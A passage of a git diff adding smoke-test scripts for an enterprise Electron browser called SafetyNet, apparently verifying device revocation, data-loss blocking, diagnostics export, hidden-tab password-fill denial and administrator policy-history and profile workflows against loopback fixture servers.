fresh.executeJavaScript('({node:typeof require,bridge:typeof window.safetynet})'),{node:'undefined',bridge:'undefined'}); + const revokedA=final.activeTabId;await invoke('navigate',{url:base+'/revoke-a',tabId:revokedA});await until(()=>webContents.getAllWebContents().some(w=>w.getURL()===base+'/revoke-a'&&!w.isLoading()),'Revocation A');const revokePageA=webContents.getAllWebContents().find(w=>w.getURL()===base+'/revoke-a'); + await invoke('createTab',{});const revokedB=(await state()).activeTabId;await invoke('navigate',{url:base+'/revoke-b',tabId:revokedB});await until(()=>webContents.getAllWebContents().some(w=>w.getURL()===base+'/revoke-b'&&!w.isLoading()),'Revocation B');const revokePageB=webContents.getAllWebContents().find(w=>w.getURL()===base+'/revoke-b'); + const collectorStatus=async()=>await (await fetch(process.env.SAFETYNET_TABS_COLLECTOR+'/status')).json();await until(async()=>{const status=await collectorStatus();return ['browser.ipc','browser.navigation','browser.dns','browser.request'].every(name=>status.names.includes(name))&&status.logs>0&&status.parentChild&&status.correlatedLogs;},'Actual native diagnostics export'); + const enrolled=(await state()).deviceId;const response=await fetch(`${process.env.SAFETYNET_TABS_SERVER}/api/admin/devices/${enrolled}/revoke`,{method:'POST',headers:{Authorization:`Bearer ${process.env.SAFETYNET_TABS_ADMIN}`,'content-type':'application/json'},body:'{}'});assert.equal(response.status,200);await until(async()=>!(await state()).ready,'Central revocation'); + for(const page of [revokePageA,revokePageB]){assert.equal(page.isDestroyed(),false,'Revocation proof lost native view before request assertion');assert.equal(await page.executeJavaScript(`fetch(${JSON.stringify(base+'/revoked-public')},{method:'POST',body:'Public after revocation'}).then(()=>false).catch(()=>true)`),true,'Revoked background/foreground page sent request');} + await wait(500);const stoppedExports=(await collectorStatus()).exports;for(let i=0;i<5;i++)await state();await wait(600);assert.equal((await collectorStatus()).exports,stoppedExports,'Revoked browser continued diagnostic export'); + const report={actualNativeWebContents:true,actualChromeUi:true,independentDomAndScroll:true,noReloadOnSwitch:true,independentHistory:true,allTabsDlp:true,siteClipboardDenied:true,remoteNodeUnavailable:true,closedContentsDestroyed:true,lastTabFreshGuard:true,centralRevocationAllTabs:true,actualBrowserDiagnostics:true,diagnosticsStoppedOnRevocation:true};fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync('artifacts/native-tabs-proof.json',JSON.stringify(report,null,2));console.log('NATIVE_TABS_PROOF_OK '+JSON.stringify(report));finish(0); + }catch(error){console.error('NATIVE_TABS_PROOF_FAILED '+error.stack);finish(1);}}); diff --git a/scripts/native-tabs-smoke.mjs b/scripts/native-tabs-smoke.mjs new file mode 100644 index 0000000..0687b5a --- /dev/null +++ b/scripts/native-tabs-smoke.mjs @@ -0,0 +1,28 @@ +import assert from 'node:assert/strict'; +import {createServer} from 'node:http'; +import {createRequire} from 'node:module'; +import {mkdtempSync,rmSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join,resolve,sep,basename} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-native-tabs-')); +let sink,management,collector,store,child;const requests={},posts=[],diagnosticRequests=[];let privateSentinels=[]; +const diagnosticStatus=()=>{const spans=diagnosticRequests.filter(r=>r.path.endsWith('/traces')).flatMap(r=>r.payload.resourceSpans||[]).flatMap(r=>r.scopeSpans||[]).flatMap(r=>r.spans||[]);const logs=diagnosticRequests.filter(r=>r.path.endsWith('/logs')).flatMap(r=>r.payload.resourceLogs||[]).flatMap(r=>r.scopeLogs||[]).flatMap(r=>r.logRecords||[]);return {exports:diagnosticRequests.length,names:[...new Set(spans.map(span=>span.name))],spans:spans.length,logs:logs.length,timings:spans.every(span=>BigInt(span.endTimeUnixNano)>=BigInt(span.startTimeUnixNano)&&span.attributes.some(a=>a.key==='safetynet.duration.ms')),parentChild:spans.some(child=>child.parentSpanId&&spans.some(parent=>parent.spanId===child.parentSpanId&&parent.traceId===child.traceId)),correlatedLogs:logs.some(log=>log.traceId&&spans.some(span=>span.traceId===log.traceId&&span.spanId===log.spanId)),sensitivePresent:privateSentinels.some(secret=>JSON.stringify(diagnosticRequests).includes(secret))};}; +try{ + collector=createServer((req,res)=>{if(req.method==='GET'&&req.url==='/status'){res.setHeader('content-type','application/json');res.end(JSON.stringify(diagnosticStatus()));return;}const chunks=[];req.on('data',chunk=>chunks.push(chunk));req.on('end',()=>{diagnosticRequests.push({path:req.url,payload:JSON.parse(Buffer.concat(chunks).toString())});res.setHeader('content-type','application/json');res.end('{}');});}).listen(0,'127.0.0.1');await new Promise(r=>collector.once('listening',r));const collectorUrl=`http://127.0.0.1:${collector.address().port}`; + sink=createServer((req,res)=>{const path=new URL(req.url,'http://localhost').pathname;requests[path]=(requests[path]||0)+1; + if(path==='/counts'){res.setHeader('content-type','application/json');res.end(JSON.stringify({requests,posts}));return;} + if(req.method==='POST'){posts.push(path);req.resume();res.end('received');return;} + res.setHeader('content-type','text/html');res.end(`${path}

Native tab ${path}

Unstyled fixture content
`); + }).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r));const url=`http://127.0.0.1:${sink.address().port}`; + store=openStore(join(directory,'management'));const policy=store.get('policy');policy.diagnostics={...policy.diagnostics,enabled:true,mode:'debug',endpoint:collectorUrl,sampleRate:1,debugSampleRate:1,flushIntervalMs:250};policy.browser.homeUrl=url;policy.browser.allowedHosts=['127.0.0.1'];policy.dlp.rules=[{id:'fixture-secret',label:'Fixture secret',kind:'literal',value:'TAB_FIXTURE_SECRET',action:'block'}];store.put('policy',policy); + const code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url');privateSentinels=[code,adminToken,'TAB_FIXTURE_SECRET'];store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-native-tabs-user'); + const config={adminToken,publicUrl:'http://127.0.0.1',secure:false};management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.once('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_TABS_COLLECTOR:collectorUrl,SAFETYNET_TABS_SERVER:config.publicUrl,SAFETYNET_TABS_CODE:code,SAFETYNET_TABS_ADMIN:adminToken,SAFETYNET_TABS_SINK:url,SAFETYNET_TABS_USERDATA:join(directory,'browser'),SAFETYNET_SMOKE_USERDATA:join(directory,'browser')};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/native-tabs-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',b=>process.stdout.write(b));child.stderr.on('data',b=>{const message=String(b).replaceAll(code,'[fixture enrollment]').replaceAll(adminToken,'[fixture admin]');process.stderr.write(message);}); + const timer=setTimeout(()=>child.kill(),120000);const codeExit=await new Promise(r=>{child.once('exit',c=>r(c??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(codeExit,0,'Actual native tabs proof failed'); + assert.equal(posts.length,0,'Blocked fixture data reached receiver');const diagnostics=diagnosticStatus();assert.ok(diagnostics.spans>0&&diagnostics.logs>0&&diagnostics.timings&&diagnostics.parentChild&&diagnostics.correlatedLogs);assert.equal(diagnostics.sensitivePresent,false);for(const name of ['browser.ipc','browser.navigation','browser.dns','browser.request'])assert.ok(diagnostics.names.includes(name),`Missing native timing ${name}`);writeFileSync('artifacts/native-browser-diagnostics-proof.json',JSON.stringify(diagnostics,null,2));mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/native-tabs-receiver-proof.json',JSON.stringify({noBlockedPosts:true,requests,posts},null,2)); +}finally{child?.kill();for(const server of [management,sink,collector])if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-native-tabs-'))throw Error('Unsafe fixture cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100});} diff --git a/scripts/package.mjs b/scripts/package.mjs new file mode 100644 index 0000000..458f204 --- /dev/null +++ b/scripts/package.mjs @@ -0,0 +1,23 @@ +import { spawnSync } from 'node:child_process'; +import {readFileSync,readdirSync} from 'node:fs'; +import {createHash} from 'node:crypto'; +import {createRequire} from 'node:module'; +import path from 'node:path'; +const platform=process.argv[2];if(platform!=='win'||process.platform!=='win32')throw Error('Windows is the active build target; other platforms are deferred'); +const runtime=spawnSync(process.env.SAFETYNET_BUILD_PYTHON||'python',['scripts/provision-windows-runtime.py'],{stdio:'inherit'});if(runtime.status!==0)process.exit(runtime.status??1); +const semantic=spawnSync(process.env.SAFETYNET_BUILD_PYTHON||'python',['scripts/provision-semantic-runtime.py','--verify'],{stdio:'inherit'});if(semantic.status!==0)process.exit(semantic.status??1); +const name=process.env.BRAND_NAME||'SafetyNet',id=process.env.BRAND_APP_ID||'enterprise.safetynet.browser'; +if(!/^[\w .-]{1,40}$/.test(name)||!/^[a-z][a-z0-9]*(?:\.[a-z][a-z0-9]*){2,}$/.test(id))throw Error('Invalid white-label product name or app ID'); +const configuration=JSON.parse(readFileSync('package.json','utf8')),workspace=path.resolve('.'),output=path.resolve(configuration.build.directories.output); +if(!output.startsWith(workspace+path.sep))throw Error('Build output must stay inside the workspace'); +// Reuse the pinned installed distribution already exercised by native tests. +// This avoids a second archive extraction and Windows directory-rename locks. +const electronDirectory=path.dirname(createRequire(import.meta.url)('electron')); +if(readFileSync(path.join(electronDirectory,'version'),'utf8').trim().replace(/^v/,'')!==configuration.devDependencies.electron)throw Error('Installed Electron does not match the build pin'); +function sourceSnapshot(){const entries=[];function walk(directory){for(const item of readdirSync(directory,{withFileTypes:true})){const file=path.join(directory,item.name);if(item.isDirectory())walk(file);else if(item.isFile())entries.push([file,createHash('sha256').update(readFileSync(file)).digest('hex')]);}}for(const directory of ['apps/browser','packages/core'])walk(directory);entries.push(['package.json',createHash('sha256').update(readFileSync('package.json')).digest('hex')]);return JSON.stringify(entries.sort((a,b)=>a[0].localeCompare(b[0])));} +const sourcesBefore=sourceSnapshot(); +const r=spawnSync(process.execPath,['node_modules/electron-builder/out/cli/cli.js',`--${platform}`,'--dir',`--config.electronDist=${electronDirectory}`,`--config.productName=${name}`,`--config.appId=${id}`],{stdio:'inherit',env:process.env}); +if(r.status!==0)process.exit(r.status??1); +if(sourceSnapshot()!==sourcesBefore)throw Error('Browser sources changed during packaging; discard this artifact and rebuild from stable sources'); +const resources=path.join(output,'win-unpacked/resources'); +const acl=spawnSync(path.join(resources,'python/python.exe'),[path.join(resources,'inspector/provision_runtime_acl.py'),'--provision'],{stdio:'inherit',windowsHide:true});process.exit(acl.status??1); diff --git a/scripts/password-focus-smoke.cjs b/scripts/password-focus-smoke.cjs new file mode 100644 index 0000000..fb06f8f --- /dev/null +++ b/scripts/password-focus-smoke.cjs @@ -0,0 +1,30 @@ +'use strict'; +if(!process.versions.electron){ + const {spawnSync}=require('node:child_process');const env={...process.env};delete env.ELECTRON_RUN_AS_NODE; + const result=spawnSync(require('electron'),[__filename],{env,stdio:'inherit',windowsHide:true,timeout:45000});process.exit(result.status??1); +}else{ + const {app,BrowserWindow,WebContentsView,session}=require('electron'); + const fs=require('node:fs'),path=require('node:path'),https=require('node:https'),assert=require('node:assert/strict'); + const {X509Certificate}=require('node:crypto');const {fillScript}=require('../apps/browser/password-fill.cjs'); + app.enableSandbox();app.disableHardwareAcceleration(); + app.whenReady().then(async()=>{let server,win;const views=[];try{ + const cert=fs.readFileSync(path.join(__dirname,'../tests/fixtures/icap/cert.pem')),key=fs.readFileSync(path.join(__dirname,'../tests/fixtures/icap/key.pem')); + const fingerprint=new X509Certificate(cert).fingerprint256; + server=https.createServer({cert,key},(_req,res)=>{res.setHeader('content-type','text/html');res.end('
');}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + const origin=`https://127.0.0.1:${server.address().port}`,ses=session.fromPartition('password-focus-proof'); + // Trust only this public synthetic certificate on loopback, in this fixture. + ses.setCertificateVerifyProc((request,callback)=>callback(request.hostname==='127.0.0.1'&&new X509Certificate(request.certificate.data).fingerprint256===fingerprint?0:-2)); + win=new BrowserWindow({show:true,width:700,height:500}); + for(let i=0;i<2;i++){const v=new WebContentsView({webPreferences:{session:ses,nodeIntegration:false,contextIsolation:true,sandbox:true}});views.push(v);win.contentView.addChildView(v);v.setBounds({x:0,y:0,width:700,height:500});await v.webContents.loadURL(origin+'/login');} + const a=views[0],b=views[1],credential={origin,username:'fixture-user',password:'synthetic-focus-proof-password'}; + const execute=()=>a.webContents.executeJavaScriptInIsolatedWorld(999,[{code:fillScript(origin+'/login',credential)}],false); + b.setVisible(false);a.setVisible(true);win.focus();a.webContents.focus(); + await new Promise(r=>setTimeout(r,200));assert.equal((await execute()).completed,true); + await a.webContents.executeJavaScript('document.querySelectorAll("input").forEach(e=>e.value="")'); + a.setVisible(false);b.setVisible(true);b.webContents.focus();await new Promise(r=>setTimeout(r,200)); + await assert.rejects(execute()); + assert.equal(await a.webContents.executeJavaScript('document.querySelector("input[type=password]").value'),''); + fs.mkdirSync(path.join(__dirname,'../artifacts'),{recursive:true});fs.writeFileSync(path.join(__dirname,'../artifacts/password-focus-proof.json'),JSON.stringify({actualNativeViews:true,foregroundAllowed:true,hiddenBlurredFillDenied:true,noCredentialWriteToHiddenTab:true},null,2)); + console.log('Native password foreground proof passed.'); + }catch(error){console.error(error.message);process.exitCode=1;}finally{for(const v of views)if(!v.webContents.isDestroyed())v.webContents.close({waitForBeforeUnload:false});win?.destroy();if(server)await new Promise(r=>{server.closeAllConnections();server.close(r);});app.exit(process.exitCode||0);}}); +} diff --git a/scripts/policy-history-admin-smoke.cjs b/scripts/policy-history-admin-smoke.cjs new file mode 100644 index 0000000..575a398 --- /dev/null +++ b/scripts/policy-history-admin-smoke.cjs @@ -0,0 +1,27 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive');} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`); + await evaluate(`document.getElementById('brand-name').value='History test brand';document.getElementById('security-dns-hosts').value='blocked.synthetic.example';document.getElementById('security-dns-ips').value='203.0.113.10';document.getElementById('security-content-phrases').value='synthetic forbidden project';document.getElementById('agent-enabled').checked=true;document.getElementById('agent-hosts').value='*.synthetic.example';document.getElementById('agent-scope-read').checked=true;document.getElementById('publish').click()`); + await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + assert.equal(await evaluate(`document.getElementById('security-dns-hosts').value`),'blocked.synthetic.example');assert.equal(await evaluate(`document.getElementById('agent-enabled').checked`),true);assert.equal(await evaluate(`document.getElementById('agent-scope-read').checked`),true); + await evaluate(`document.getElementById('security-controls').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,200));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/admin-security-controls.png'),(await window.webContents.capturePage()).toPNG()); + await evaluate(`document.getElementById('brand-name').value='Unpublished draft';document.getElementById('history-load').click()`);await waitFor(`document.querySelectorAll('#history-rows tr').length===2`); + assert.equal(await evaluate(`document.getElementById('brand-name').value`),'Unpublished draft'); + await evaluate(`document.querySelectorAll('#history-rows button')[1].click()`);await waitFor(`!document.getElementById('history-review').hidden`); + assert.equal(await evaluate(`document.getElementById('history-restore').disabled`),true);assert.equal(await evaluate(`document.getElementById('brand-name').value`),'Unpublished draft');assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2');assert.ok((await evaluate(`document.getElementById('history-diff-list').textContent`)).includes('/brand/name')); + await evaluate(`document.getElementById('history-review').scrollIntoView();document.getElementById('console-theme').value='dark';document.getElementById('console-theme').dispatchEvent(new Event('change'))`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/policy-history-admin.png'),(await window.webContents.capturePage()).toPNG()); + await evaluate(`globalThis.__originalPrincipal=currentPrincipal;applyOperatorPermissions({sub:'synthetic-auditor',role:'auditor',permissions:['overview.read','audit.read','policy.read','teaching.read']});`);assert.equal(await evaluate(`document.getElementById('history-approve').disabled&&document.getElementById('history-restore').disabled&&document.getElementById('agent-enabled').disabled`),true);await evaluate(`applyOperatorPermissions(globalThis.__originalPrincipal);delete globalThis.__originalPrincipal`); + await evaluate(`document.getElementById('history-approve').checked=true;document.getElementById('history-approve').dispatchEvent(new Event('change'));document.getElementById('history-restore').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('restored')`); + assert.equal(await evaluate(`document.getElementById('brand-name').value`),'SafetyNet');assert.equal(await evaluate(`document.getElementById('agent-enabled').checked`),false);assert.equal(await evaluate(`document.getElementById('security-dns-hosts').value`),'');assert.equal(await evaluate(`document.querySelectorAll('#history-rows tr').length`),3);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + console.log('HISTORY_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('HISTORY_ADMIN_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/policy-history-admin-smoke.mjs b/scripts/policy-history-admin-smoke.mjs new file mode 100644 index 0000000..5e6596c --- /dev/null +++ b/scripts/policy-history-admin-smoke.mjs @@ -0,0 +1,26 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-policy-history-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('synthetic-bookmark-device','Synthetic bookmark device','win32','synthetic-user','synthetic-unused',new Date().toISOString()); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/policy-history-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('HISTORY_ADMIN_PROOF_OK'))console.log('Policy history administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('HISTORY_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Policy history administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.equal(policy.brand.name,'SafetyNet');assert.equal(policy.agents.enabled,false);assert.deepEqual(policy.security.dns.blockedHosts,[]);assert.deepEqual(policy.security.content.blockedPhrases,[]); + const report={actualAdministratorUi:true,persistedHistory:true,serverDiff:true,explicitRestoreApproval:true,monotonicRestore:true,draftPreservedDuringReview:true,structuredDnsContentAgentControls:true,nodeUnavailable:true,cspPreserved:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/policy-history-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-policy-history-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/profiles-admin-smoke.cjs b/scripts/profiles-admin-smoke.cjs new file mode 100644 index 0000000..10abcd4 --- /dev/null +++ b/scripts/profiles-admin-smoke.cjs @@ -0,0 +1,34 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive: '+await evaluate(`document.getElementById('status').textContent`));} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + window.webContents.on('did-finish-load',()=>evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`).catch(()=>{})); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + const reviewProof=process.env.SAFETYNET_PROFILE_REVIEW_PROOF==='1'; + if(reviewProof){await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_PROFILE_OPERATOR_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + else { + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + + await evaluate(`document.getElementById('profile-template').value='employee';document.getElementById('profile-use-template').click();document.getElementById('profile-id').value='research-europe';document.getElementById('profile-name').value='Research Europe';for(const input of document.querySelectorAll('#profile-devices input'))input.checked=input.value==='pilot-device';document.getElementById('profile-blocked').value='restricted.synthetic.example';document.getElementById('profile-save').click()`); + if(reviewProof){ + await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');assert.equal(await evaluate(`document.querySelectorAll('#profiles-rows tr').length`),0); + await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_PROFILE_REVIEWER_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.querySelector('#reviews-rows button')`); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + const operation=await evaluate(`document.getElementById('independent-review-operation').textContent`);for(const value of ['research-europe','pilot-device','devTools','restricted.synthetic.example'])assert.ok(operation.includes(value),`Exact proposal missing ${value}`); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'`); + }else{await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`);} + assert.equal(await evaluate(`document.querySelector('#profiles-rows tr td:nth-child(3)').textContent`),'deny'); + await evaluate(`document.getElementById('profile-preview-device').value='pilot-device';document.getElementById('profile-preview').click()`);await waitFor(`document.getElementById('profile-preview-summary').textContent.includes('research-europe')`); + assert.equal(await evaluate(`document.getElementById('profile-preview-diff').textContent.includes('restricted.synthetic.example')`),true); + await evaluate(`document.getElementById('profile-preview-device').value='outside-device';document.getElementById('profile-preview').click()`);await waitFor(`document.getElementById('profile-preview-summary').textContent.includes('baseline only')`); + assert.equal(await evaluate(`document.getElementById('profile-preview-diff').textContent.includes('restricted.synthetic.example')`),false);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('user-profiles').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/profiles-admin.png'),(await window.webContents.capturePage()).toPNG()); + console.log('PROFILE_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('PROFILE_ADMIN_PROOF_FAILED',error.stack);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/profiles-admin-smoke.mjs b/scripts/profiles-admin-smoke.mjs new file mode 100644 index 0000000..1d1bef6 --- /dev/null +++ b/scripts/profiles-admin-smoke.mjs @@ -0,0 +1,29 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { digest } from '../apps/server/store.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-profiles-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false,requireIndependentPolicyApproval:process.env.SAFETYNET_PROFILE_REVIEW_PROOF==='1'}; + for(const id of ['pilot-device','member-device','outside-device'])store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run(id,id,'win32','synthetic-user',`synthetic-${id}`,new Date().toISOString()); + const operatorToken=randomBytes(32).toString('base64url'),reviewerToken=randomBytes(32).toString('base64url');for(const [value,sub,role]of [[operatorToken,'group-operator','operator'],[reviewerToken,'group-reviewer','admin']])store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(value),Date.now()+60000,JSON.stringify({sub,role})); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_PROFILE_OPERATOR_TOKEN:operatorToken,SAFETYNET_PROFILE_REVIEWER_TOKEN:reviewerToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/profiles-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('PROFILE_ADMIN_PROOF_OK'))console.log('Profile administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('PROFILE_ADMIN_PROOF_'))console.error(text.trim());}); + const 